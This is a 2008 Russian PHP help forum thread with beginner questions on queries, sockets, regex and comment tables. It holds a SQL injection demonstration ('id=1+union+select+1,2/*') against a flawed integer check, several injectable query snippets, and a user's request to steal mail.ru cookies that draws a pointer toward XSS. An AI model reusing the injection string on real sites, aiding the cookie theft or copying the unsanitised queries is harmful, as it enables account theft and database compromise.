<th scope="row"><div align="right"><strong>Profession:</strong></div></th>

<td>Archer</td>
</tr>
<tr>
<th scope="row"><div align="right"><strong>Base lvl: </strong></div></th>
<td>40</td>
</tr>
<tr>

<th scope="row"><div align="right"><strong>Job lvl:</strong> </div></th>
<td>27</td>
</tr>
<tr>
<th scope="row"><div align="right"><strong>Guild:</strong></div></th>
<td></td>
</tr>


</table>' ;

$pat = '#<table .*><tr>|<th .*><img .*><\/th>|<th .*><div .*><strong>(.*)<\/strong><\/div><\/th>|<td>(.*)<\/td><\/tr><\/table>#si';

preg_match($pat,$html,$poc);

inlanger
25.07.2008, 15:09
А что тебя не устраивает? Или ошибки какие?

DTW
25.07.2008, 15:16
А что тебя не устраивает? Или ошибки какие?

мне надо поместить текст карманы , карман выходит пустой

это

мешает положить прав в карман

<th rowspan="5" scope="row"><img src=components/com_userstat/3_m.gif width="100" height="100" /></th>

suffering
25.07.2008, 15:18
Опять косяк, и не пойму в чем

<?php
include ("blogs/bd.php"); /*Соединяемся с базой данных*/

if (isset($_GET['id'])) {$id = $_GET['id'];}

$result = mysql_query("SELECT * FROM lessons WHERE id='$id'",$db);
$myrow = mysql_fetch_array($result);
?>

Тут такая ситуация, почему то в:

$result = mysql_query("SELECT * FROM lessons WHERE id='$id'",$db);

Не работает id='id'
То есть если самому подставить id='1'
То выводится нужный текст из бд
А вот если $id, для чего и приравнивал
То не получается
Что я не правильно делаю?
Сенк за внимание

inlanger
25.07.2008, 15:23
А что это у тебя за ковычки косые? Одинарные. Сам ручками ковычки переставь. Бывает из-за копипаста ломается что-то в коде.

suffering
25.07.2008, 15:28
inlanger, посоветовали:

ник (17:32:02 25/07/2008)
и кста... еще одна заметка тебе на будущее

$result = mysql_query ("select `id`, `title`, `date`, `description`, `author` from `lessons`",$db); // это правильная запись

Убрал их, проверил ещё раз, результат тот же... (

Naydav
25.07.2008, 15:30
suffering
Сделай
echo "SELECT * FROM lessons WHERE id='$id'";
И увидишь
Скорее всего у тебя id пустой
пс
$id =(int) $_GET['id'];

bul.666
25.07.2008, 15:31
$result = mysql_query("SELECT * FROM lessons WHERE id='".$id."'",$db);
Попробуй так

suffering
25.07.2008, 15:41
bul.666 , все равно тоже самое, как будто нет коннекта с бд ... (

<?php
include ("blogs/bd.php"); /*Соединяемся с базой данных*/

if (isset($_GET['id'])) {$id =(int) $_GET['id'];}

$result = mysql_query("SELECT * FROM lessons WHERE id='".$id."'",$db);
$myrow = mysql_fetch_array($result);

?>

не выводит ничего, а если подставить опять же однерку, двойку, или тройку вместо $id, начинает выводить

Naydav, всмысле id пустой ? в бд каждая вставка имеет свой айди, это первым делом делал ... пс добавил, результат тот же... определенно, где то косяк кроется

bul.666
25.07.2008, 15:42
Блин а ты пробовал в урл добавить ?id=1

Naydav
25.07.2008, 15:44
$result = mysql_query("SELECT * FROM lessons WHERE id='".$id."'",$db);
Попробуй так


Он все правильно написал

$id = 1;
echo "'$id'";
на экран выдаст '1', главное, что основные кавычки двойные, скорее всего id - пустой, или имеет не тот формат

suffering
Что ты добавил???\
говорю сделай echo запроса и посмотри результат!!!!!

-=Static=-
25.07.2008, 15:45
inlanger, посоветовали:



Убрал их, проверил ещё раз, результат тот же... (

Вот как-то так :) :
<?php
include ("blogs/bd.php"); /*Соединяемся с базой данных*/

// Инициализация
$id = isset($_GET["id"]) ? intval($_GET["id"]) : 0;
$myrow = array();
$query = "SELECT * FROM `lessons` WHERE id=".$id.";";

if($id)
{
$result = mysql_query($query,$db);
if(!$result) die(mysql_error());
$myrow = mysql_fetch_array($result);
}
else
echo "Ошибка с передачей ID";

print_r($myrow);
?>

suffering
25.07.2008, 15:45
bul.666 , извини

Всем спасибо! :)

Naydav
25.07.2008, 15:47
-=Static=-
Только лучше
$id = isset($_GET["id"]) ? intval($_GET["id"]) : false;
а то вдруг id может быть равным 0 :)

-=Static=-
25.07.2008, 15:51
-=Static=-
Только лучше
$id = isset($_GET["id"]) ? intval($_GET["id"]) : false;
а то вдруг id может быть равным 0 :)

Это АБСОЛЮТНО НЕ ВАЖНО! Если там будет 0 это равносильно false для IF.

А действительно лучше написать вот так:

$id = ((isset($_GET["id"])) && ($_GET["id"] > 0)) ? intval($_GET["id"]) : 0;

suffering
25.07.2008, 15:55
Naydav гм... а если id пустой, то как это исправить?

Naydav
25.07.2008, 15:57
Naydav гм... а если id пустой, то как это исправить?
empty()

if( (int)$id!=0)

-=Static=-
25.07.2008, 15:59
Naydav гм... а если id пустой, то как это исправить?

Если он у тебя пустой значит где-то баг, и ИД не передался, или кто-то его намерненно не передал, тока принципиально важности это не имеет

Naydav
25.07.2008, 16:01
if( (int)$id!=0 )
{
Работаем с базой (можно еще проверку на больше 0), все зависит от того по какому критерию береться id
}

Если он у тебя пустой значит где-то баг, и ИД не передался, или кто-то его намерненно не передал, тока принципиально важности это не имеет
не факт, могут быть случаи когда id - пустой

-=Static=-
25.07.2008, 16:07
if( (int)$id!=0 )
{
Работаем с базой (можно еще проверку на больше 0), все зависит от того по какому критерию береться id
}

не факт, могут быть случаи когда id - пустой


Можно поинетерсоваться какие? На сколько я знаю id - это иденефикатор который является Primary key и не может быть ни пустым ни повторятся. + ко всему если передается через строку браузера, то самое вероятное, что кто-нить пошлет левые цифры

suffering
25.07.2008, 16:09
ребят, у меня руки из задницы растут, ну делаю что то не так : ((

проверкa эта
echo "'$id'";
id не вывелся, вместо него двое кавычек

я три дня только как начал читать книгу, пытаюсь сделать что то, но много ошибок постоянно (

<?php
include ("blogs/bd.php"); /*Соединяемся с базой данных*/

if (isset($_GET['id'])) {$id =(int) $_GET['id'];}

$result = mysql_query("SELECT * FROM lessons WHERE id='$id'",$db);
$myrow = mysql_fetch_array($result);

?>

-=Static=-

Ошибка с передачей IDArray ( )

Это если поставить твое творение :(

-=Static=-
25.07.2008, 16:13
if( (int)$id!=0 )
{
Работаем с базой (можно еще проверку на больше 0), все зависит от того по какому критерию береться id
}


от это типичный пример бажного кода:

script.php
<?
$id = $_GET["id"];
if( (int)$id!=0 )
{
echo "SELECT * FROM `lessons` WHERE id=".$id.";";
}
?>

Теперь обратимся к скрипту вот так:
script.php?id=1+union+select+1,2/*


в результате видим:

SELECT * FROM `lessons` WHERE id=1 union select 1,2/*;

Naydav
25.07.2008, 16:13
например форма из нескольких чекбоксов, можно выбрать 1 значение, а можно и не одного, при отправке - проверяеться, если есть id(был выбран) - выполняется код, если нет выполняеться другой
да с десяток сожно придумать
Или мне нельз я тогда называть чекбокс великим именем id ? :)

На сколько я знаю id - это иденефикатор который является Primary key
id - ты можешь использовать, как захочешь, или это где-то в спецификации прописано, что id - это Primary key, а если, я вообще без MySql( и др) работаю?

-=Static=-
25.07.2008, 16:15
ребят, у меня руки из задницы растут, ну делаю что то не так : ((

проверкa эта
echo "'$id'";
id не вывелся, вместо него двое кавычек

я три дня только как начал читать книгу, пытаюсь сделать что то, но много ошибок постоянно (

<?php
include ("blogs/bd.php"); /*Соединяемся с базой данных*/

if (isset($_GET['id'])) {$id =(int) $_GET['id'];}

$result = mysql_query("SELECT * FROM lessons WHERE id='$id'",$db);
$myrow = mysql_fetch_array($result);

?>

-=Static=-



Это если поставить твое творение :(


А ты как обращаешся к скрипту???? О.о

У меня предчуствие что если он у тя называется script.php то ты к нему обращаешся просто http://site.com/script.php

а надо: http://site.com/script.php?id=1

Naydav
25.07.2008, 16:19
<?
$id = $_GET["id"];
if( (int)$id!=0 )
{
echo "SELECT * FROM `lessons` WHERE id=".$id.";";
}
?>

от это типичный пример бажного кода:

А где ты увидел , что я его привел, покажи мне плз?

-=Static=-
25.07.2008, 16:20
id - ты можешь использовать, как захочешь, или это где-то в спецификации прописано, что id - это Primary key, а если, я вообще без MySql( и др) работаю?

Я ж не говорил, что это объязательно. ID - от слова Identeficator. И принятно так называть примари ключ.

Вообще ограничений на прострнство имен нет, но если ты не индус, и слышал об этике программирования, то id юзаешь как примари кей, если с базой канешн работаешь.

suffering
25.07.2008, 16:21
вот с этого:

<?php
include ("blogs/bd.php"); /*Соединяемся с базой данных*/
$result = mysql_query("SELECT id,title,meta_d,meta_k,text FROM settings WHERE page='lessons'",$db);
$myrow = mysql_fetch_array($result);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="description" content="<?php echo $myrow['meta_d']; ?> ">
<meta name="keywords" content="<?php echo $myrow['meta_k']; ?> ">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title><?php echo $myrow['title']; ?></title>
<link href="style.css" rel="stylesheet" type="text/css">
</head>

<body>
<table width="690" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" class="main_border">
<?php include ("blogs/header.php"); ?>
<tr>
<td><table width="690" border="0" cellspacing="0" cellpadding="0">

<?php include ("blogs/lefttd.php"); ?>

<td valign="top">
<p><?php echo $myrow['text']; ?> </p>

<?php

$result = mysql_query ("SELECT id,title,date,description,author FROM lessons",$db);

$myrow = mysql_fetch_array ($result);

do {

printf ("<table align='center' class='lesson'>

<tr>
<td class='lesson_title'><p class ='lesson_name'><a href='view_lesson.php?=%s'>%s</a></p>
<p class ='lesson_adds'>Дата добавления: %s</p>
<p class ='lesson_adds'>Автор: %s</p></td>
</tr>
<tr>
<td>%s</td>
</tr></table><br>", $myrow["id"], $myrow["title"],$myrow["date"],$myrow["author"],$myrow["description"]);

}
while ($myrow = mysql_fetch_array ($result));
?>
</td>
</tr>
</table></td>
</tr>
<?php include ("blogs/footer.php"); ?>
</table>
</body>
</html>

мне надо попасть на это

<?php
include ("blogs/bd.php"); /*Соединяемся с базой данных*/

if (isset($_GET['id'])) {$id =(int) $_GET['id'];}

$result = mysql_query("SELECT * FROM lessons WHERE id='$id'",$db);
$myrow = mysql_fetch_array($result);

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="description" content="<?php echo $myrow['meta_d']; ?>">
<meta name="keywords" content="<?php echo $myrow['meta_k']; ?>">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title><?php echo $myrow['title']; ?></title>
<link href="style.css" rel="stylesheet" type="text/css">
</head>

<body>
<table width="690" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" class="main_border">
<?php include ("blogs/header.php"); ?>
<tr>
<td><table width="690" border="0" cellspacing="0" cellpadding="0">

<?php include ("blogs/lefttd.php"); ?>

<td valign="top">
<p><?php echo $myrow['text']; ?> </p>

</td>
</tr>
</table></td>
</tr>
<?php include ("blogs/footer.php"); ?>
</table>
</body>
</html>

по идее id подставляет автоматически
начиная с 1, итак циклично, пока не закончится

ссылки получаются такие:

http://localhost/phpsite/view_lesson.php?=1
http://localhost/phpsite/view_lesson.php?=2
http://localhost/phpsite/view_lesson.php?=3

три вставки у меня в бд, три новости на странице
они отлично отображаются
но как перехожу в полное описание
так ничего из этого: ["id"], ["title"],["date"],["author"],["description"] не показывает
токль страничка, оформленная и все

-=Static=-
25.07.2008, 16:22
Naydav пост #4339

Naydav
25.07.2008, 16:23
Я ж не говорил, что это объязательно. ID - от слова Identeficator. И принятно так называть примари ключ.

id - может быть пустым, пример я тебе привел

-=Static=-
25.07.2008, 16:24
ссылки получаются такие:

http://localhost/phpsite/view_lesson.php?=1
http://localhost/phpsite/view_lesson.php?=2


а должны получаться вот такие
http://localhost/phpsite/view_lesson.php?id=2

Naydav
25.07.2008, 16:24
Naydav пост #4339
Врунишка, сравни МОЙ пост и то что ты привел в пример

конкретно
"SELECT * FROM `lessons` WHERE id=".$id.";";

-=Static=-
25.07.2008, 16:25
id - может быть пустым, пример я тебе привел

Если юзать чекбокс не отметить, то $_GET['ID'] не будет существовать

suffering
25.07.2008, 16:26
-=Static=-

Я же говорю, я баран, извиняюсь, исправился
огромное спасибо)

-=Static=-
25.07.2008, 16:26
Врунишка, сравни МОЙ пост и то что ты привел в пример

конкретно
"SELECT * FROM `lessons` WHERE id=".$id.";";

:D добавил одну строку для наглядности примера.

Naydav
25.07.2008, 16:27
Если юзать чекбокс не отметить, то $_GET['ID'] не будет существовать
Я рад, что ты это написал сам
не будет существовать

-=Static=-
25.07.2008, 16:29
Я рад, что ты это написал сам
не будет существовать

)))))) Существование переменно проверяется функцие isset() а пустота имебщейся переменной функцией is_empty(). Я не заметил в твоем примере пустой переменной.

Naydav
25.07.2008, 16:30
добавил одну строку для наглядности примера.
А зачем ты от меня что-то добавляешь???
Может пойдешь в военкомате от меня подпись еще добавишь? вот тибе и :)

фантазия ил знания не допускают, что следующая строка может быть
$object = new Object($id);
или id будет записано как и (int)id, ах да 5 символов лишних



пс
Я не заметил в твоем примере пустой переменной
если я использую $id = $_GET['id'], это пример
или например если юзер зарегистрирован, то подст его id, если нет то 0, это тоже пример

все извини избавлю себя от переливания воды из пустого в порожне

мда и так нафлудили

-=Static=-
25.07.2008, 16:33
:)
все извини избавлю себя от переливания воды из пустого в порожне

Прально, ибо пофик) Есть более благородной занятие чем обсуждать, кто бы что бы написал если бы....

сори за оффтоп

Jer1cho
26.07.2008, 18:12
Помогите, есть например, такой вот список:

173.21.0.0/17 Net10
78.20.16.0/20 Net1
81.254.224.0/20 Net1
173.9.2.0/22 Net1
10.15.26.0/20 Net2
173.27.0.0/16 Net3
95.74.197.0/18 Net1
22.33.224.0/24 Net7


Каким образом можно определить пренадлежность IP к этим маскам сетей? Пытался сопоставлять с помошью eregi, но так не всегда правльно определит конечно..? Больше на ум обсолютно ничего не приходит((..
То есть например ип 173.21.26.32 определялся как Net10.

.Begemot.
27.07.2008, 00:59
Подскажите пожалуйста, как исправить, в цикле обрабатываются строки из файла и каждая строка загружается через команду - file_get_contents(); , в файле примерно 10 строк с линками, вроде все нормально должно быть, но скрипт загружает и выводит только 4 последних линка, а остальные пишет - failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found. Сами файлы существуют и по одному загружается нормально. Пробывал в ставлять в тело цикла sleep(10);, но результат не изменился. :confused:

NOmeR1
27.07.2008, 01:55
Jer1cho, если я правильно понял то вот так:
<?php
$ip = '173.27.5.10';
$list = '78.20.16.0/20 Net1
81.254.224.0/20 Net1
173.21.0.0/17 Net10
173.9.2.0/22 Net1
10.15.26.0/20 Net2
173.27.0.0/16 Net3
95.74.197.0/18 Net1
22.33.224.0/24 Net7';
$template = '~(\d+\.\d+\.\d+\.\d+)/\d+\s+(.+)~';
preg_match_all($template, $list, $regular);
for($i = 0; $i < sizeof($regular[0]); $i++) {
if(preg_match('~^'.str_replace('.', '\.', preg_replace('~(\.?)0(\.?)~', '$1\d+$2', $regular[1][$i])).'$~', $ip)) {
echo $regular[2][$i];
break;
}
}
?>

.:EnoT:.
27.07.2008, 02:46
Подскажите пожалуйста, как исправить, в цикле обрабатываются строки из файла и каждая строка загружается через команду - file_get_contents(); , в файле примерно 10 строк с линками, вроде все нормально должно быть, но скрипт загружает и выводит только 4 последних линка, а остальные пишет - failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found. Сами файлы существуют и по одному загружается нормально. Пробывал в ставлять в тело цикла sleep(10);, но результат не изменился. :confused:
мало чё понял, но то что понял имхо извращенство..
попробуй чтоли так:
$file = file('123.txt');
foreach ($file as $url){
#какие-то действия с урлами
echo $url.'<br/>';
}
Если удалённо, то попробуй так:
$file = file_get_contents('http://site.ru/123.txt');
$arr = explode("\n", $file);
foreach ($arr as $ar){
#какие-то действия
echo $ar.'<br/>';
}
я прост хз что тебе конкретно нужно...

MafiaBoy3
27.07.2008, 08:34
Помогите разобрать ссылку

http://vkontakte.ru/photos.php?48069

Мне непонятно откуда взялось число 48609 и что оно делает? У вконтакта ведь идёт построение страниц с указанием id пользователя а здесь?

Что происходит когда я кликаю на ссылку?
В скрипт photos.php передаётся переменная что ли? Или это mod rewrite постарался.

У facebooka так вообще главная страница профайла имеет вид facebook.com/home.php? Зачем это?

NOmeR1
27.07.2008, 11:52
Помогите разобрать ссылку

http://vkontakte.ru/photos.php?48069

Мне непонятно откуда взялось число 48609 и что оно делает? У вконтакта ведь идёт построение страниц с указанием id пользователя а здесь?

Что происходит когда я кликаю на ссылку?
В скрипт photos.php передаётся переменная что ли? Или это mod rewrite постарался.

У facebooka так вообще главная страница профайла имеет вид facebook.com/home.php? Зачем это?
Нет, просто они вместо гет переменной id используют переменую $_SERVER["QUERY_STRING"]. На самом деле к пхп никакого отношения не имеет.

n1†R0x
27.07.2008, 12:10
Нет, просто они вместо гет переменной id используют переменую $_SERVER["QUERY_STRING"]. На самом деле к пхп никакого отношения не имеет.
Позвольте с Вами не согласиться! ;)
Постановка номера никоим образом не влияет на результат, я бы не стал так уверенно утверждать насчет QUERY_STRING, поскольку что бы пользователь ни ввел после "?", в любом случае попадет он именно на свои фото... (или на профиль и т.п.)

update: потестил на чужом акке, даже при воспроизведении одинаковых действий (просмотр фото с конкретным другом и возврат на "Мою Страницу" числа были разными, 25xxx и 14xxx).

Doom123
27.07.2008, 12:27
update: потестил на чужом акке, даже при воспроизведении одинаковых действий (просмотр фото с конкретным другом и возврат на "Мою Страницу" числа были разными, 25xxx и 14xxx).

Иногда такой метод ипользуют чтоб брузер не кэшировал страницу

например я в своей гостевухе использовал www.bla.bl/?.time()

x-demon
27.07.2008, 12:33
Сокеты через прокси использовать можно? Если да, то как?

DIAgen
27.07.2008, 12:46
Иногда такой метод ипользуют чтоб брузер не кэшировал страницу

например я в своей гостевухе использовал www.bla.bl/?.time()

Прочитай
http://php.su/articles/?cat=protocols&page=012

inlanger
27.07.2008, 13:04
x-demon, работа с сокетами. (php)
/* Пример: как скачать файл(страничку) через прокси.
Прокси-сервер: IP: 192.165.0.10 PORT: 3128 */

<?php
// так выглядит запрос
$head = "GET http://www.rambler.ru HTTP/1.1\r\n\r\n";

// соединяемся с прокси сервером
$fp = fsockopen("192.165.0.10", 3128);

if($fp) {// если все cool, то...
// передаем запрос
fputs($fp, $head);
// читаем 65000 байт
$returndata = fread($fp, 65000);
// закрываем соединение
fclose($fp);
}
// выводим результат
print $returndata;
?>

это просто вариант

Piflit
27.07.2008, 13:16
это просто вариант
имхо не вариант
$head = "GET http://www.rambler.ru HTTP/1.1\r\n\r\n";
$head = "GET / HTTP/1.1\r\nHost: rambler.ru\r\n\r\n";
$returndata = fread($fp, 65000);
а если ответ >65000? как минимум, считывать надо в цикле, а лучше написать обработчик разных типов Connection, Transfer-Encoding и, разумеется, Content-Length.

x-demon
27.07.2008, 13:27
Мгн вот такое было нужно =)

<?php
$host = "127.0.0.1";// ip адрес сервера или прокси-сервера
$port = 80;// порт сервера или прокси-сервера
$socket = socket_create(AF_INET, SOCK_STREAM,0);
$res = socket_connect($socket, $host, $port);
// дальше просто шлём данные какие необходимы: socket_write()
?>

art012
27.07.2008, 20:24
здравствуйте можете мне помоч в одном деле? я пытаюсь украсть куки в mail.ru, но я не знаю с помошю каких скриптов можно их украсть, я пытался найти в инете через $_SERVER и $_grt но не че не мог найти, если не трудно можите написать этот скрипт заранее спасибо!!
вот тут http://video.antichat.ru/file232.html видео как угнать куки, я все сделал но не могу написать как угнать куки.

BlackSun
27.07.2008, 20:39
здравствуйте можете мне помоч в одном деле? я пытаюсь украсть куки в mail.ru, но я не знаю с помошю каких скриптов можно их украсть, я пытался найти в инете через $_SERVER и $_grt но не че не мог найти, если не трудно можите написать этот скрипт заранее спасибо!!
вот тут http://video.antichat.ru/file232.html видео как угнать куки, я все сделал но не могу написать как угнать куки.
Видео уже старое, рыши свежую, рабочую XSS

Nightmarе
28.07.2008, 01:54
Вопрос по поводу отправки писем, я использую php команду:
mail($to, $subj, $content, "From: ".$ot);

Отсылаю например письмо себе и в заголовке письма наблюдаю:
X-PHP-Script: путь до скрипта/mail.php for мой IP, мой IP

Можно ли как ниибудь сделать анонимную отправку, чтобы мой IP и путь до скрипта не палились???

blood-looney
28.07.2008, 02:29
пишу бота
есть java скрипт, который передаёт POST-ом такие вот разные параметры
POST /battle.php act=weapx&sid=%ED%E5%F2&food_iid=0&items_iid=0&puton_iid=0&putoff_iid=0
пробовал через дату
$data="var=act=weapx&var2=sid=%ED%E5%F2 и так далее";
подставлять но не пашет
Какие ещё есть варианты

Isis
28.07.2008, 02:37
Nightmare, from php.net

<?php
// multiple recipients
$to = 'aidan@example.com' . ', '; // note the comma
$to .= 'wez@example.com';

// subject
$subject = 'Birthday Reminders for August';

// message
$message = '
<html>
<head>
<title>Birthday Reminders for August</title>
</head>
<body>
<p>Here are the birthdays upcoming in August!</p>
<table>
<tr>
<th>Person</th><th>Day</th><th>Month</th><th>Year</th>
</tr>
<tr>
<td>Joe</td><td>3rd</td><td>August</td><td>1970</td>
</tr>
<tr>
<td>Sally</td><td>17th</td><td>August</td><td>1973</td>
</tr>
</table>
</body>
</html>
';

// To send HTML mail, the Content-type header must be set
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

// Additional headers
$headers .= 'To: Mary <mary@example.com>, Kelly <kelly@example.com>' . "\r\n";
$headers .= 'From: Birthday Reminder <birthday@example.com>' . "\r\n";
$headers .= 'Cc: birthdayarchive@example.com' . "\r\n";
$headers .= 'Bcc: birthdaycheck@example.com' . "\r\n";

// Mail it
mail($to, $subject, $message, $headers);
?>

Piflit
28.07.2008, 04:04
blood-looney
пост данные в таком виде
$data="act=weapx&sid=%ED%E5%F2 и так далее";

MafiaBoy3
28.07.2008, 10:53
Делаю на своём сайте возможность добавления комментариев. Форма примерно такая:<form action="chemberlen.php" method="post"><textarea name="message"></textarea></form>

Как видите пока только одно поле-текстовая зона.
Пользователь не вводит свои имя и фамилия чтобы добавить комментарий. Вопрос! А как скрипт chemberlen.php должен узнать имя и фамилия и дата того кто добавляет сообщение? Я так понимаю тут нужна СЕССИЯ. Помогите!

Вопрос№2 Как хранить комментарии (ясно что в базе Mysql)? Всмысле мне не понятна структура таблицы (например messages). Как это сделать, неужели под каждое из комментарий нужно делать отдельное поле (нихрена себе додумался!). Вообщем второй вопрос меня тоже волнует!

inlanger
28.07.2008, 11:01
MafiaBoy3, ты сначала определись, что тебе надо. Если пользователь нигде на сайте не ввёл своего имени, то его ты никак не узнаешь, без дополнительных полей для ввода.
А второй вопрос... Если тебе интересны такие вопросы, то почитай про создание баз данных "для чайников", теорию тут тебе не напишут. Одно могу сказать - руками создавать ничего не надо будет, всё делают скрипты.

5triker
28.07.2008, 11:03
вот зачем делать СВОИ сайты если вы не знаете элементарного ?
скачай готовое поставь и радуйся
Вопрос№2 Как хранить комментарии (ясно что в базе Mysql)? Всмысле мне не понятна структура таблицы (например messages). Как это сделать, неужели под каждое из комментарий нужно делать отдельное поле
глупее придумать трудно

MafiaBoy3
28.07.2008, 11:05
С чего ты взял что пользователь упал с неба? Он зарегистрировался у меня на сайте и получил сессию. Так как выполнить задачу?
Насчёт второго вопроса. Я нигде не видел примера (повторяю нигде), чтобы можно было по 5-10 страниц комментариев хранить в базе и (главное) как их выбирать.

MafiaBoy3
28.07.2008, 11:08
скачай готовое поставь и радуйся

Скачал только из одного примера в сети (который один на Code Igniter) нифига не понятно!!!

5triker
28.07.2008, 11:09
$_SESSION['user'] или какое нужно выбрать

примерная структура базы
CREATE TABLE `asd` (
`id` INT( 11 ) NOT NULL AUTO_INCREMENT ,
`from` VARCHAR( 255 ) NOT NULL ,
`time` DATETIME NOT NULL ,
`message` TEXT NOT NULL ,
PRIMARY KEY ( `id` )
);

inlanger
28.07.2008, 11:10
$_SESSION['user']... и что? Для того, чтобы в этой переменной что-то было, в неё сначала надо что-то записать.

5triker
28.07.2008, 11:11
ну он говорит у него юзер залогинился и получил сессию

ps : хотя мб данные у него в сессию и правдо не заносятся )

inlanger
28.07.2008, 11:14
Дык если так, то вообще тут работы на 5 минут. MafiaBoy3, книгу по sql+php в руки и вперёд. Ты даже не знаешь основ, а уже сайт хочешь писать.

MafiaBoy3
28.07.2008, 11:22
Наверно ты не знаешь основ раз неможешь ответить на простой вопрос

А уже сайт хочешь написать

Да???? А что писать, вот эту херню для вконтакта типа:пасс хуякера...Сказал бы ты тоже самое человеку повзрослее меня-Алексу Тью(milliondollarhomepage.com). Ты не знаешь основ а ещё сайт хочешь написать. А он написал-результат 1.000.000$ Действительно нахера он нужен, когда знаний нет!!!

inlanger
28.07.2008, 11:40
В чём ты меня пытаешься убедить? В том, что я такой плохой и заставляю тебя читать маны? Это вопрос-ответ по php, а с твоими знаниями тебе в тему - куплю-продам. ЗА деньги тебе напишут, что тебе надо. А учить тут никто никого не будет.

bul.666
28.07.2008, 12:01
Я буду

blood-looney
28.07.2008, 12:33
=) может по теме? )
в предыдущем моём посте я писал
act=weapx это как я понимаю действие, а дальше переменные
POST запросом действие можно заставить работать?
offtop
я даже основ незнаю. вообще нефига не понимаю. пытаюсь что то вразумить.
спасибо тем кто помогает

bul.666
28.07.2008, 14:08
Тебе пифлит уже написал!
act=weapx это как я понимаю действие, а дальше переменные
act - переменная

blood-looney
28.07.2008, 15:10
ok ok, понял
ещё вопросик
чтобы начать бой тыкаю гетом на/world.php?a=am&mid=(номермонстра)
после этого сервер выдёт battle.php для самого боя
т.е. нужно ещё нужно гетом battle.php подргузить а уж потом передавать данные ему постом так?
и как это правильно реализовать?

Zircool
28.07.2008, 16:14
У кого нибудь есть наброски функции поиска слова в тексте?

Kaimi
28.07.2008, 16:21
У кого нибудь есть наброски функции поиска слова в тексте?

Чем preg_match не устраивает?

Zircool
28.07.2008, 16:35
Совсем про него забыл.... спасибо..

.:EnoT:.
28.07.2008, 17:22
Если просто проверка существует ли слово в строке или нет, то зачем preg_match, если есть специальные строковые функции, которые между прочим работают быстрее чем регулярки.
К примеру:
$txt = 'Превед медвед';
if(strstr($txt, 'Превед')) echo 'Найдено';
Ну а если надо ещё и вывести результ, то тут регулярки))

MafiaBoy3
28.07.2008, 17:48
Задался вопросом по системе комментов

Я так понимаю простейшие системы комментирования работают следующим образом------

Пользователь заполняет форму комментария на странице, нажимает отправить и данные из формы,а также hidden переменная это страницы (это может быть id фильма, книги и т.д) уплывают на скрипт, который их обрабатывает и ВНИМАНИЕ (заносит в базу командой INSERT) И так, как инзерт вставляет каждый раз новую строчку то получается нечто, наподобе этого:
Пример таблицы комментариев

user_id firstname lastname story
112 Fuck Suck what is up?
112 fuck suck fuck u

Видно что каждый раз добавляя комментарий записывается переменная id для пользователя

А выборка идёт так Select * from table where user_id=?

Это получается что если в таблице 1.200.000 записей!
то они вывядятся по запросу id но ведь id то СОВПАДАЕТ и mysql придётся каждый раз искать id.

Как это можно оптимизировть? Можно ли привязать все сообщения только к одному пользователю? Ведь в таблице они в разброс!!!

bul.666
28.07.2008, 18:01
Вообще никто не запрещал использовать limit, sort

.Slip
28.07.2008, 18:08
Задался вопросом по системе комментов

Я так понимаю простейшие системы комментирования работают следующим образом------

Пользователь заполняет форму комментария на странице, нажимает отправить и данные из формы,а также hidden переменная это страницы (это может быть id фильма, книги и т.д) уплывают на скрипт, который их обрабатывает и ВНИМАНИЕ (заносит в базу командой INSERT) И так, как инзерт вставляет каждый раз новую строчку то получается нечто, наподобе этого:
Пример таблицы комментариев

user_id firstname lastname story
112 Fuck Suck what is up?
112 fuck suck fuck u

Видно что каждый раз добавляя комментарий записывается переменная id для пользователя

А выборка идёт так Select * from table where user_id=?

Это получается что если в таблице 1.200.000 записей!
то они вывядятся по запросу id но ведь id то СОВПАДАЕТ и mysql придётся каждый раз искать id.

Как это можно оптимизировть? Можно ли привязать все сообщения только к одному пользователю? Ведь в таблице они в разброс!!!
Вообще то в разного рода таблицах с комментариями используют ещё идентификатор самого комментария. Например post_id. При создании таблицы этот столбец указывается автоинкрементальным, по нему в дальнейшем уже и идёт обработка результатов.

MafiaBoy3
28.07.2008, 18:09
Да нет чтобы применить limit нужно этих данных ещё набрать.
Я говорю отом что при добавлении комментариев во всех системах в базу каждый раз добавляется id чего то и поиск ведётся по всей базе при выборке именно по нему.
А если бы он был один то как бы снизилась нагрузка!!

MafiaBoy3
28.07.2008, 18:14
Вообще то в разного рода таблицах с комментариями используют ещё идентификатор самого комментария. Например post_id. При создании таблицы этот столбец указывается автоинкрементальным, по нему в дальнейшем уже и идёт обработка результатов.

"Интересно какая такая ещё обработка?

inlanger
28.07.2008, 18:26
При построении БД надо учесть основные правила построения БД
Одно из них(простыми словами) - у каждой записи должно быть поле, значение которого отличает его от остальных. В твоём случае - это id сообщения. То есть, конструкция, приведённая тобой работать не будет.

~NeiTRoN~
28.07.2008, 18:40
Для оптимизации в твоей таблице не хватает привязки коментария к определенной теме и сообщения которое коментируется. А если будет существовать эта привязка то поиск по базе будет суживать именно это, тобишь в базе будет проверется индификатор сообщения или темя, а потом+ id пользователя,что и даст оптимизацию скрипта!

mff
28.07.2008, 18:44
post_id автоинкремент
user_id id юзера
coment коментарии

SELECT * FROM `table`WHERE `user_id`='id'

В чем проблемма то? Ты хоть расстолкуй :D

.:EnoT:.
28.07.2008, 18:45
Хорошо что про sql заговорили))

как в WHERE указать несколько параметров?
что-то вроде:
SELECT * FROM `table` WHERE `id` = 1, 2, 3
то исть выборку осуществлять только с указанными id.
понятно что этот код не работает, а очень хотелось бы всю эту дрянь получить одним запросом. В доках ничего полезного не нашёл...
сейчас для этой цели юзаю цикл.

mff
28.07.2008, 18:49
SELECT * FROM `table` WHERE `id` = '1' AND WHERE `id` = '2' AND WHERE `id` = '3'

inlanger
28.07.2008, 18:49
Union попробуй...объединяет запросы :)

.:EnoT:.
28.07.2008, 18:52
union не подходит т.к. количество id-шников может быть любое

~NeiTRoN~
28.07.2008, 18:52
Хорошо что про sql заговорили))

